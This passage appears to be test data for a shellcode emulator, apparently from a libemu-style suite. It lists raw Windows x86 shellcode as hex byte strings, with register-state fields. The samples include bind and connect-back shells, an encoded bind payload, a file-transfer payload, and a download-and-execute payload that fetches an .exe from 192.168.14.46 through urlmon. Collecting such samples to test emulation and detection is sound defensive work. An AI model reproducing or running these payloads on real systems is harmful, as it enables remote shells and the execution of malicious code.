"\xea\xab\xc6\xcd\x66\x8f\x12\x71\xf3\x9d\xc0\x71\x1b\x99\x99\x99" // 0x0080 ....f..q ...q...." "\x7b\x60\x18\x75\x09\x98\x99\x99\xcd\xf1\x98\x98\x99\x99\x66\xcf" // 0x0090 {`.u.... ......f." "\x89\xc9\xc9\xc9\xc9\xd9\xc9\xd9\xc9\x66\xcf\x8d\x12\x41\xf1\x59" // 0x00a0 ........ .f...A.Y" "\xec\xe3\xa0\xf1\x9b\x99\x66\x63\x12\x55\xf3\x89\xc8\xca\x66\xcf" // 0x00b0 ......fc .U....f." "\x81\x1c\x59\xec\xd3\xf1\xfa\xf4\xfd\x99\x10\xff\xa9\x1a\x75\xcd" // 0x00c0 ..Y..... ......u." "\x14\xa5\xbd\xf3\x8c\xc0\x32\x7b\x64\x5f\xdd\xbd\x89\xdd\x67\xdd" // 0x00d0 ......2{ d_....g." "\xbd\xa4\x10\xc5\xbd\xd1\x10\xc5\xbd\xd5\x10\xc5\xbd\xc9\x14\xdd" // 0x00e0 ........ ........" "\xbd\x89\xcd\xc9\xc8\xc8\xc8\xf3\x98\xc8\xc8\x66\xef\xa9\xc8\x66" // 0x00f0 ........ ...f...f" "\xcf\x9d\x12\x55\xf3\x66\x66\xa8\x66\xcf\x91\xca\x66\xcf\x85\x66" // 0x0100 ...U.ff. f...f..f" "\xcf\x95\xc8\xcf\x12\xdc\xa5\x12\xcd\xb1\xe1\x9a\x4c\xcb\x12\xeb" // 0x0110 ........ ....L..." "\xb9\x9a\x6c\xaa\x50\xd0\xd8\x34\x9a\x5c\xaa\x42\x96\x27\x89\xa3" // 0x0120 ..l.P..4 .\.B.'.." "\x4f\xed\x91\x58\x52\x94\x9a\x43\xd9\x72\x68\xa2\x86\xec\x7e\xc3" // 0x0130 O..XR..C .rh...~." "\x12\xc3\xbd\x9a\x44\xff\x12\x95\xd2\x12\xc3\x85\x9a\x44\x12\x9d" // 0x0140 ....D... .....D.." "\x12\x9a\x5c\x32\xc7\xc0\x5a\x71\x99\x66\x66\x66\x17\xd7\x97\x75" // 0x0150 ..\2..Zq .fff...u" "\xeb\x67\x2a\x8f\x34\x40\x9c\x57\x76\x57\x79\xf9\x52\x74\x65\xa2" // 0x0160 .g*.4@.W vWy.Rte." "\x40\x90\x6c\x34\x75\x60\x33\xf9\x7e\xe0\x5f\xe0\x41\x41\x41\x41", // 0x0170 @.l4u`3. ~._.AAAA" .codesize = 329, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "amberg", .code = "\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\xeb\x02\xeb\x6b" "\xe8\xf9\xff\xff\xff\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c" "\x8b\x54\x05\x78\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x32" "\x49\x8b\x34\x8b\x03\xf5\x33\xff\xfc\x33\xc0\xac\x3a\xc4\x74\x07" "\xc1\xcf\x0d\x03\xf8\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24" "\x03\xdd\x66\x8b\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5" "\xeb\x02\x33\xc0\x5f\x5e\x5d\x5b\x89\x44\x24\x04\x8b\x04\x24\x89" "\x44\x24\x08\x8b\x44\x24\x04\x83\xc4\x08\xc3\x5e\x6a\x30\x59\x64" "\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x7b\x08\x83\xec\x1c" "\x8b\xec\x33\xc0\x50\x68\x2e\x65\x78\x65\x89\x65\x14\x57\x68\xea" "\x49\x8a\xe8\xff\xd6\x6a\x06\xff\x75\x14\xff\xd0\x89\x45\x04\x57" "\x68\xdb\x8a\x23\xe9\xff\xd6\x89\x45\x0c\x57\x68\x8e\x4e\x0e\xec" "\xff\xd6\x33\xc9\x66\xb9\x6c\x6c\x51\x68\x33\x32\x2e\x64\x68\x77" "\x73\x32\x5f\x54\xff\xd0\x8b\xd8\x53\x68\xb6\x19\x18\xe7\xff\xd6" "\x89\x45\x10\x53\x68\xe7\x79\xc6\x79\xff\xd6\x89\x45\x18\x53\x68" "\x6e\x0b\x2f\x49\xff\xd6\x6a\x06\x6a\x01\x6a\x02\xff\xd0\x89\x45" "\x08\x33\xc0\x50\x50\x50\xb8\x02\xff\xab\xfc\x80\xf4\xff\x50\x8b" "\xc4\x6a\x10\x50\xff\x75\x08\x53\x68\xa4\x1a\x70\xc7\xff\xd6\xff" "\xd0\x58\x53\x68\xa4\xad\x2e\xe9\xff\xd6\x6a\x10\xff\x75\x08\xff" "\xd0\x33\xc0\x50\x50\xff\x75\x08\x53\x68\xe5\x49\x86\x49\xff\xd6" "\xff\xd0\x8b\x4d\x08\x89\x45\x08\x51\xff\x55\x18\x81\xc4\xfc\xfe" "\xff\xff\x8b\xdc\x33\xc9\x51\xb1\xff\x51\x53\xff\x75\x08\xff\x55" "\x10\x85\xc0\x7e\x0a\x50\x53\xff\x75\x04\xff\x55\x0c\xeb\xe5\xff" "\x75\x08\xff\x55\x18\x57\x68\x5b\x4c\x1a\xdd\xff\xd6\xff\x75\x04" "\xff\xd0\x33\xc0\x50\xff\x75\x14\x57\x68\x98\xfe\x8a\x0e\xff\xd6" "\xff\xd0\x57\x68\xef\xce\xe0\x60\xff\xd6\xff\xd0\x65\x65\x65\x65", .codesize = 416, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "lindau - linkbot connectback version", .code = "\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x15\xb9\x8b\xe6\x13\x41\x81" "\xf1\x39\xe6\x13\x41\x5e\x80\x74\x31\xff\x17\xe2\xf9\xeb\x05\xe8" "\xe6\xff\xff\xff\x24\xcc\x73\x9c\x54\x27\x9c\x57\x1b\x9c\x67\x0b" "\xba\x9c\x6f\x1f\xff\x52\x17\x17\x17\x44\x41\x9c\x48\x2b\x9c\x4b" "\x2c\x6f\x14\xc8\x44\x9c\x4c\x37\x14\xc8\x44\x94\xd4\x13\x9c\x24" "\x14\xe0\x24\xde\xbb\x25\xdf\xd6\xd6\x12\x93\xd7\x62\xe1\x3c\xdd" "\x62\xfe\x4f\x3c\xcf\xc6\xfc\x49\x14\x49\x33\x14\xc8\x71\x9c\x1c" "\x9c\x49\x0b\x14\xc8\x9c\x13\x9c\x14\xd0\x49\x4c\xe8\xf7\x49\x7f" "\x24\x25\x17\x17\x7f\x60\x64\x25\x48\x43\xad\x85\x79\x13\x93\xe8" "\xc1\x9c\xef\x96\xfb\x17\x15\x17\x17\x9c\xfb\x44\x7d\x16\x7d\x15" "\xad\x94\x44\x94\x17\xe8\xc1\x44\x44\x7f\x29\x38\xce\xe9\x7f\x15" "\x17\x2b\x0e\x9c\xc3\x9c\xcf\x7d\x07\x45\x44\xad\x74\x27\x77\x4d" "\xe8\xc1\x47\xa3\x15\x47\x42\x44\xad\x17\x4f\x77\xf5\xe8\xc1\xa8" "\xbb\xbb\x11\x92\xe8\xf2\x6c\x79\x73\x65\x7a\x6c\x64\x6c\x6a\x64" "\x71\x66\x70\x6c\x62\x65\x7a\x71\x79\x71\x76\x76\x79\x6a\x71\x77" "\x65\x63\x7a\x75\x6f\x64\x62\x67\x69\x69\x68\x78\x65\x71\x7a\x6b" "\x75\x6f\x75\x67\x76\x72\x66\x67\x6b\x75\x6f\x6d\x6c\x79\x79\x67" "\x77\x78\x6f\x6d\x61\x6c\x72\x6c\x73\x70\x6a\x63\x64\x73\x6c\x6c" "\x73\x69\x67\x67\x6b\x66\x73\x71\x6c\x62\x6a\x6c\x71\x63\x76\x73" "\x6e\x78\x6f\x71\x72\x78\x6f\x76\x63\x73\x75\x70\x70\x6e\x62\x61" "\x76\x72\x70\x66\x63\x61\x6a\x66\x67\x76\x68\x76\x71\x7a\x63\x62" "\x7a\x63\x66\x65\x78\x6f\x6e\x68\x68\x61\x70\x66\x6a\x78\x67\x72" "\x6d\x68\x70\x6d\x75\x6c\x75\x62\x6d\x71\x7a\x72\x6d\x76\x63\x76" "\x73\x70\x6a\x79\x68\x61\x62\x63\x76\x76\x71\x68\x78\x63\x6b\x6f" "\x7a\x6a\x78\x68\x70\x6f\x76\x63\x66\x74\x61\x74\x71\x61\x66\x62" "\x74\x68\x67\x75\x61\x74\x72\x75\x6a\x68\x75\x63\x69\x72\x62\x6b" "\x6a\x67\x64\x70\x6c\x78\x67\x61\x71\x66\x7a\x67\x67\x71\x63\x6a" "\x62\x69\x79\x6a\x71\x76\x77\x66\x67\x7a\x74\x69\x72\x77\x6f\x63" "\x79\x7a\x8b\x45\x30\x05\x24\xfb\xff\xff\xff\xe0\xeb\xf4\x70\x75" "\x0b\x0b\x1b\x00\x6b\x6a\x69\x68\x74\x70\x6f\x66\x68\x6c\x65\x65" "\x77\x72\x61\x79\x78\x6b\x61\x76\x78\x77\x64\x71\x61\x71\x7a\x76" "\x77\x67\x62\x77\x65\x67\x6f\x66\x74\x74\x73\x6d\x77\x6f\x75\x6e" "\x62\x6d\x6f\x64\x73\x6d\x78\x6c\xeb\x06\x6d\x64\x59\x1c\x00\x01" "\x8b\x44\x24\xfc\x05\xe0\xfa\xff\xff\xff\xe0\x6d\x75\x6a\x64\x6b" "\x75\x63\x69\x77\x65\x63\x74\x61\x75\x64\x70\x73\x66\x68\x67\x69" "\x62\x67\x63\x75\x72\x66\x6a\x6a\x6e\x6e\x78\x72\x78\x66\x5c\x00" "\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x68\x1c\x09\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46", .codesize = 624, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "bremen - linkbot bind version", .code = "\x90\x90\x90\x90\xeb\x04\xff\xff\xff\xff\x90\x90\x90\x90\x90\x90" "\x90\x90\xeb\x04\xeb\x04\x90\x90\x90\x90\xeb\x04\xff\xff\xff\xff" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\xeb\x15\xb9\x8b\xe6\x13\x41\x81\xf1\x4d\xe6\x13" "\x41\x5e\x80\x74\x31\xff\x42\xe2\xf9\xeb\x05\xe8\xe6\xff\xff\xff" "\x71\x99\x26\xc9\x01\x72\xc9\x02\x4e\xc9\x32\x5e\xef\xc9\x3a\x4a" "\xaa\x07\x42\x42\x42\x11\x14\xc9\x1d\x7e\xc9\x1e\x79\x3a\x41\x9d" "\x11\xc9\x19\x62\x41\x9d\x11\xc1\x81\x46\xc9\x71\x41\xb5\x71\x8b" "\xee\x70\x8a\x83\x83\x47\xc6\x82\x37\xb4\x69\x88\x37\xab\x1a\x69" "\x9a\x93\xa9\x1c\x41\x1c\x66\x41\x9d\x24\xc9\x49\xc9\x1c\x5e\x41" "\x9d\xc9\x46\xc9\x41\x85\x1c\x19\xbd\xa2\x1c\x2a\x71\x70\x42\x42" "\x2a\x35\x31\x70\x1d\x16\xf8\xd0\x2c\x46\xc6\xbd\x94\xc9\xba\xc3" "\xae\x42\x40\x42\x42\xc9\xae\x11\x28\x43\x28\x40\xf8\xc1\x11\xc1" "\x42\xbd\x94\x11\x11\x11\x2a\x40\x42\xe2\xe1\xc9\x96\xc9\x9a\x28" "\x52\x10\x11\xf8\x42\xd2\xe4\x80\xbd\x94\x02\x12\x11\xf8\x38\x79" "\x31\xe3\xbd\x94\x12\x12\x11\xf8\x52\x91\x2b\x42\xbd\x94\xc9\x9a" "\x71\x82\x12\xf6\x40\x12\x17\x11\xf8\x42\x1a\x22\xa0\xbd\x94\xfd" "\x97\xa2\x84\x30\xbd\xa7\x6b\x63\x71\x6b\x62\x6e\x66\x66\x69\x64" "\x6d\x72\x64\x76\x77\x70\x6c\x72\x62\x61\x67\x6c\x66\x63\x62\x65" "\x76\x63\x77\x7a\x7a\x64\x77\x72\x6e\x61\x78\x71\x6c\x64\x70\x73" "\x6f\x62\x64\x71\x64\x77\x79\x71\x79\x69\x63\x69\x72\x69\x6b\x69" "\x75\x66\x64\x69\x73\x73\x62\x72\x6e\x6c\x72\x69\x6b\x72\x6e\x69" "\x61\x6d\x68\x79\x71\x68\x70\x68\x65\x63\x62\x7a\x74\x78\x72\x75" "\x6c\x74\x75\x6d\x79\x62\x6b\x67\x6c\x70\x61\x6a\x6b\x73\x75\x71" "\x61\x6b\x68\x6a\x65\x72\x67\x61\x6d\x72\x6c\x76\x70\x75\x79\x6a" "\x66\x69\x6f\x68\x7a\x72\x75\x79\x72\x6b\x70\x6e\x61\x6f\x70\x78" "\x7a\x76\x73\x66\x61\x62\x6e\x6d\x74\x6f\x63\x68\x68\x6a\x69\x63" "\x79\x64\x67\x62\x7a\x67\x66\x72\x66\x6f\x73\x7a\x6d\x73\x72\x74" "\x6d\x66\x6e\x6a\x6f\x76\x6a\x6a\x76\x66\x78\x6d\x78\x64\x76\x67" "\x73\x73\x6c\x64\x72\x66\x6f\x63\x6b\x68\x7a\x6f\x77\x6f\x71\x79" "\x62\x69\x6d\x77\x70\x73\x7a\x6c\x65\x72\x6c\x73\x61\x6d\x68\x76" "\x6e\x75\x65\x67\x76\x71\x75\x77\x71\x78\x6c\x6b\x64\x6b\x62\x75" "\x6d\x65\x8b\x45\x30\x05\x24\xfb\xff\xff\xff\xe0\xeb\xf4\x77\x75" "\x0b\x0b\x1b\x00\x77\x68\x72\x6e\x70\x76\x6c\x63\x61\x74\x78\x6f" "\x6a\x6d\x6b\x76\x6c\x6b\x6a\x7a\x63\x66\x63\x76\x64\x68\x75\x76" "\x79\x73\x78\x6b\x6e\x71\x6f\x7a\x68\x71\x62\x68\x6a\x74\x6b\x6e" "\x70\x6e\x78\x74\x6c\x77\x6b\x75\xeb\x06\x61\x69\x59\x1c\x00\x01" "\x8b\x44\x24\xfc\x05\xe0\xfa\xff\xff\xff\xe0\x62\x6c\x77\x66\x6e" "\x67\x6b\x6b\x62\x61\x6c\x6e\x69\x69\x73\x64\x73\x6d\x73\x61\x6b" "\x64\x66\x61\x7a\x6c\x71\x74\x70\x61\x61\x74\x66\x69\x78\x5c\x00" "\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x68\x1c\x09\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46" "\x01\x00\x00\x00\x01\x00\x00\x00\x07\x00", .codesize = 720, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "halle - filetransferr via csend", .code = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x02" // 0x0440 ........ ........" "\xeb\x05\xe8\xf9\xff\xff\xff\x5b\x31\xc9\x66\xb9\x86\x06\x80\x73" // 0x0450 .......[ 1.f....s" "\x0e\xd4\x43\xe2\xf9\x3d\x8b\xd5\xd4\xd4\x8f\x82\x83\x84\x3c\x67" // 0x0460 ..C..=.. ......++" "\x2b\x5d\x57\x57\xd5\xd4\xd4\x8c\x5f\x47\x57\xd5\xd4\xd4\x86\xbc" // 0x08c0 +]WW.... _GW....." "\xd5\xd5\xd4\xd4\xea\x2b\x87\x95\xe9\xd4\xd4\xd4\xd4\xdb\x51\x31" // 0x08d0 .....+.. ......Q1" "\x2b\x2b\x2b\xbc\xd2\xd4\xd4\xd4\xbc\xd5\xd4\xd4\xd4\xbc\xd6\xd4" // 0x08e0 +++..... ........" "\xd4\xd4\xea\x2b\x87\x91\xe9\x2b\x2b\x2b\x2b\xdb\x50\x36\x2b\x2b" // 0x08f0 ...+...+ +++.P6++" "\x2b\x5d\x57\x2c\xd4\xd4\xd4\x83\x84\x87\x59\x47\xab\xd5\xd4\xd4" // 0x0900 +]W,.... ..YG...." "\x12\xd6\xc2\x86\x59\x47\x28\xd4\xd4\xd4\xb2\x13\xd6\xd6\xd4\xb2" // 0x0910 ....YG(. ........" "\x5f\xaf\xdc\xb2\x5d\xae\xd6\x5f\xaf\xd0\x5d\xae\xd0\x86\x5f\x57" // 0x0920 _...].._ ..]..._W" "\x2c\xd4\xd4\xd4\x84\xea\x2b\x87\x9d\xe9\xd4\xd4\xd4\xd4\xdb\x58" // 0x0930 ,.....+. .......X" "\x12\x2b\x2b\x2b\x8f\x8c\x8b\x84\x6c\xd4\xc4\xd4\xd4\x3c\x01\xd4" // 0x0940 .+++.... l....<.." "\xd4\xd4\xe9\xd4\xd4\xd4\xd4\xdb\x50\x3e\x2b\x2b\x2b\x5d\x57\xb4" // 0x0950 ........ P>+++]W." "\xd5\xd4\xd4\x8c\x3c\xed\xd4\xd4\xd4\x3c\x0c\xd4\xd4\xd4\x3c\x83" // 0x0960 ....<... .<....<." "\xd4\xd4\xd4\x3c\xcb\xd5\xd4\xd4\x17\x5f\x57\x2c\xd4\xd4\xd4\x84" // 0x0970 ...<.... ._W,...." "\xea\x2b\x87\x81\x5f\x57\x7f\xd5\xd4\xd4\x94\x5d\x57\x7f\xd5\xd4" // 0x0980 .+.._W.. ...]W..." "\xd4\xe9\xd1\xd4\xd4\xd4\xdb\x50\xd1\xd4\xd4\xd4\x3d\x96\x2b\x2b" // 0x0990 .......P ....=.++" "\x2b\x17\xbc\xd4\xd4\xd4\xd4\xbc\xd0\xd4\xd4\xd4\x59\x47\x53\xd5" // 0x09a0 +....... ....YGS." "\xd4\xd4\x86\x5f\x47\x2c\xd4\xd4\xd4\x86\xea\x2b\x87\x99\xe9\xd5" // 0x09b0 ..._G,.. ...+...." "\xd4\xd4\xd4\xdb\x58\x64\x2b\x2b\x2b\x17\x83\x82\x5f\x6f\x53\xd5" // 0x09c0 ....Xd++ +..._oS." "\xd4\xd4\x5f\x67\x5f\xd5\xd4\xd4\xed\x23\x8a\x8b\xdb\x50\xe6\xd4" // 0x09d0 .._g_... .#...P.." "\xd4\xd4\xbc\xd4\xd4\xd4\xd4\xbc\xd4\xc4\xd4\xd4\x5f\x47\xb4\xd5" // 0x09e0 ........ ...._G.." "\xd4\xd4\x86\x5f\x47\x2c\xd4\xd4\xd4\x86\xea\x2b\x87\x99\xe9\xd5" // 0x09f0 ..._G,.. ...+...." "\xd4\xd4\xd4\xdb\x58\xa4\x2b\x2b\x2b\xd5\x57\x5f\xd5\xd4\xd4\x3d" // 0x0a00 ....X.++ +.W_...=" "\x84\xd4\xd4\xd4\x3c\xba\xd4\xd4\xd4\x84\x5f\x57\x2c\xd4\xd4\xd4" // 0x0a10 ....<... .._W,..." "\x84\xea\x2b\x87\x81\x8c\x17\x5d\x13\x84\xea\x2b\x47\x43\xd4\xd4" // 0x0a20 ..+....] ...+GC.." "\xd4\x8b\x84\x83\xbc\xd4\xd4\xd4\xd4\x84\xea\x2b\x47\x47\xd4\xd4" // 0x0a30 ........ ...+GG.." "\xd4\x8b\x8b\x8b\x8c\x17\x59\x47\xb0\xd5\xd4\xd4\x86\x59\x47\xb8" // 0x0a40 ......YG .....YG." "\xd5\xd4\xd4\x86\xea\x2b\x47\x53\xd4\xd4\xd4\x8b\x8b\x5d\x57\xbc" // 0x0a50 .....+GS .....]W." "\xd5\xd4\xd4\x17\x2b\x67\xbc\xd5\xd4\xd4\x84\xbc\xd5\xd4\xd4\xd4" // 0x0a60 ....+g.. ........" "\x5f\x47\xb4\xd5\xd4\xd4\x86\xea\x2b\x47\x5b\xd4\xd4\xd4\x8b\x8b" // 0x0a70 _G...... +G[....." "\x8b\x8b\x3d\x97\x2b\x2b\x2b\x5f\x47\xbc\xd5\xd4\xd4\x86\xea\x2b" // 0x0a80 ..=.+++_ G......+" "\x47\x5f\xd4\xd4\xd4\x8b\x17\x84\x59\x57\xd8\xd5\xd4\xd4\x84\x59" // 0x0a90 G_...... YW.....Y" "\x57\xc8\xd5\xd4\xd4\x84\xbc\xd4\xd4\xd4\xd4\xbc\xd4\xd4\xd4\xd4" // 0x0aa0 W....... ........" "\xbc\xfc\xd4\xd4\xd4\xbc\xd4\xd4\xd4\xd4\xbc\xd4\xd4\xd4\xd4\xbc" // 0x0ab0 ........ ........" "\xd4\xd4\xd4\xd4\x59\x57\xb8\xd5\xd4\xd4\x84\xbc\xd4\xd4\xd4\xd4" // 0x0ac0 ....YW.. ........" "\xea\x2b\x47\x38\xd4\xd4\xd4\x8c\x17\x3c\x7d\x2b\x2b\x2b\xbc\xd4" // 0x0ad0 .+G8.... .<}+++.." "\xd4\xd4\xd4\x2b\x47\x3c\xd4\xd4\xd4\x44\xd4\x00\x5c\x00\x43\x00" // 0x0ae0 ...+G<.. .D..\.C." "\x24\x00\x5c\x00\x31\x00\x32\x00\x33\x00\x34\x00\x35\x00\x36\x00" // 0x0af0 $.\.1.2. 3.4.5.6." "\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00" // 0x0b00 1.1.1.1. 1.1.1.1." "\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x2e\x00" // 0x0b10 1.1.1.1. 1.1.1..." "\x64\x00\x6f\x00\x63\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" // 0x0b20 d.o.c... ........" "\x20\x00\x00\x00\x30\x00\x2d\x00\x00\x00\x00\x00\x88\x2a\x0c\x00" // 0x0b30 ...0.-. .....*.." "\x02\x00\x00\x00\x01\x00\x00\x00\x28\x8c\x0c\x00\x01\x00\x00\x00" // 0x0b40 ........ (......." "\x07\x00\x00\x00\x00\x00\x00\x00", .codesize = 1818, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "tills neuer", .code = "\xeb\x54\x8b\x75\x3c\x8b\x74\x35\x78\x03\xf5\x56\x8b\x76\x20\x03" // 0x0020 .T.u<.t5 x..V.v ." "\xf5\x33\xc9\x49\x41\xad\x33\xdb\x36\x0f\xbe\x14\x28\x38\xf2\x74" // 0x0030 .3.IA.3. 6...(8.t" "\x08\xc1\xcb\x0d\x03\xda\x40\xeb\xef\x3b\xdf\x75\xe7\x5e\x8b\x5e" // 0x0040 ......@. .;.u.^.^" "\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd\x8b\x04\x8b\x03" // 0x0050 $..f..K. ^......." "\xc5\xc3\x75\x72\x6c\x6d\x6f\x6e\x2e\x64\x6c\x6c\x00\x43\x3a\x5c" // 0x0060 ..urlmon .dll.C:\" "\x55\x2e\x65\x78\x65\x00\x33\xc0\x64\x03\x40\x30\x78\x0c\x8b\x40" // 0x0070 U.exe.3. d.@0x..@" "\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c" // 0x0080 ..p...@. ...@4.@|" "\x8b\x40\x3c\x95\xbf\x8e\x4e\x0e\xec\xe8\x84\xff\xff\xff\x83\xec" // 0x0090 .@<...N. ........" "\x04\x83\x2c\x24\x3c\xff\xd0\x95\x50\xbf\x36\x1a\x2f\x70\xe8\x6f" // 0x00a0 ..,$<... P.6./p.o" "\xff\xff\xff\x8b\x54\x24\xfc\x8d\x52\xba\x33\xdb\x53\x53\x52\xeb" // 0x00b0 ....T$.. R.3.SSR." "\x24\x53\xff\xd0\x5d\xbf\x98\xfe\x8a\x0e\xe8\x53\xff\xff\xff\x83" // 0x00c0 $S..]... ...S...." "\xec\x04\x83\x2c\x24\x62\xff\xd0\xbf\xef\xce\xe0\x60\xe8\x40\xff" // 0x00d0 ...,$b.. ....`.@." "\xff\xff\x52\xff\xd0\xe8\xd7\xff\xff\xff\x68\x74\x74\x70\x3a\x2f" // 0x00e0 ..R..... ..http:/" "\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x34\x2e\x34\x36\x3a\x35" // 0x00f0 /192.168 .14.46:5" "\x35\x30\x33\x38\x2f\x6d\x64\x6e\x65\x78\x2e\x65\x78\x65\x00\x00" // 0x0100 5038/mdn ex.exe.." "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // 0x0110 ........ ........" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // 0x0120 ........ ........" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // 0x0130 ........ ........" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // 0x0140 ........ ........" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // 0x0150 ........ ........" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // 0x0160 ........ ........" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // 0x0170 ........ ........" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", // 0x0180 ........ ........" .codesize = 0x180, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "win32_bind pex & ./clet -S win32_bind_pex -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123", .code = "\x56\x4F\x4C\x41\x54\x49\x4C\x49\x54\x49\x45\x53\x52\x45\x43\x45" "\x44\x45\x44\x42\x45\x4C\x4C\x4D\x41\x4E\x54\x52\x41\x44\x49\x54" "\x49\x4F\x4E\x53\x45\x58\x41\x4D\x49\x4E\x45\x44\x55\x50\x52\x4F" "\x4F\x54\x53\x50\x41\x52\x4C\x4F\x52\x53\x45\x58\x43\x45\x4C\x4C" "\x45\x4E\x43\x45\x4C\x41\x42\x53\x44\x45\x45\x50\x45\x4E\x53\x52" "\x41\x44\x49\x41\x4E\x54\x46\x52\x45\x53\x48\x57\x41\x54\x45\x52" "\x53\x55\x53\x50\x45\x43\x54\x49\x4E\x47\x42\x52\x4F\x49\x4C\x53" "\x42\x41\x44\x47\x45\x52\x49\x4E\x47\x4D\x41\xEB\x32\x59\x31\xC0" "\xB0\x5C\x8B\x11\x81\xEA\xC1\x58\x63\x43\x81\xC2\x8D\xED\x76\x39" "\x81\xF2\x74\x22\x74\x71\xC1\xC2\x0F\xC1\xC2\x15\x89\x11\x81\xE9" "\xFE\xFF\xFF\xFF\x41\x41\x2C\x01\x48\x48\x48\x74\x07\xEB\xD3\xE8" "\xC9\xFF\xFF\xFF\x1B\x8A\xD8\x59\x33\x48\x78\x88\xBF\x98\x84\x8E" "\x50\x30\xF1\x6E\xF9\x8B\x34\x53\xEE\x78\x26\xA8\x23\x91\x94\xD3" "\x12\xD8\x75\x8C\x83\x90\xAA\x05\x36\x8C\x1A\x53\x27\xC7\x0D\xD7" "\x8B\xCE\xB4\x8F\xF8\x8D\x7A\x02\x86\x8E\xD4\x13\x3C\x8B\x5A\xC7" "\x92\xFB\xD6\xEE\x3E\x06\x27\xD4\x84\xAA\x96\x87\x94\x9A\x24\x1C" "\x37\x41\xE1\xC9\x4B\x98\x7A\x62\x86\x8E\x04\x55\xBC\x8E\xAE\xBF" "\xB9\xED\xB2\xFD\xB4\x8C\xDA\x3F\x3A\xBC\x53\xD5\x90\x8B\x27\x45" "\xAC\x02\xB2\xBF\xB8\x8E\x6A\x14\xC5\x94\x6A\xD3\xD4\x81\x7C\x8F" "\xD8\xBE\x64\xF2\x63\x69\x2D\x02\xFA\x10\x42\x78\x6A\x0F\x3E\x98" "\x39\xD1\x65\xFA\x2A\xBB\xA4\x8C\x77\xD1\x05\xBA\x09\x37\x05\x05" "\xCC\x88\x42\x27\x19\x21\x73\x5C\x01\x71\xD7\x17\xD3\x54\x70\x5C" "\xB1\x11\x30\x72\xA9\x11\x2F\x42\xA8\xD1\x65\x3A\xFA\xF0\xA3\x72" "\xAA\x71\x5A\x6D\xFD\x40\xC9\x66\x6B\x5A\x70\x0C\x21\x01\x54\x72" "\xE9\x07\xE8\x65\xCE\xE4\xD0\x4D\xE9\x67\x38\x82\xE9\x07\xE8\x65" "\x12\x63\xDB\x63\xE9\x67\x68\x82\x39\x31\x70\x4C\xB1\x85\xEC\x0C" "\x5B\x7A\xED\xA1\x63\x39\x70\xFC\x61\xA0\x1C\x15\xFA\x10\x8D\x75" "\x4C\xA8\x5C\xA2\x09\xBD\xD6\x9F\x22\x41\xCF\x7F\x92\xFB\x36\x2C" "\xDE\x27\x8F\xB9\xA3\xC2\x30\xEE\x1C\x80\xB1\xE1\x2E\x85\x3C\xC4" "\xB3\x63\x74\xEC\x3B\xD2\x05\x5A\x69\x21\x50\xC2\x89\xA1\x4C\x27" "\x89\x31\x50\x22\x83\x89\x8C\x01\x51\xDE\x36\xA2\x63\xA9\x6C\xFC" "\x73\xCB\x65\xFA\x6C\xC1\x35\xBF\x40\xD0\x05\x4A\xE9\x07\xE8\x35" "\x23\x47\x73\x12\xE9\x67\x78\x3C\x81\xFE\x62\x17\xAF\x96\x69\x92" "\x43\x42\x42\x41\x42\x43\x43\x43\x41\x41\x42\x42\x42\x43\x41\x43" 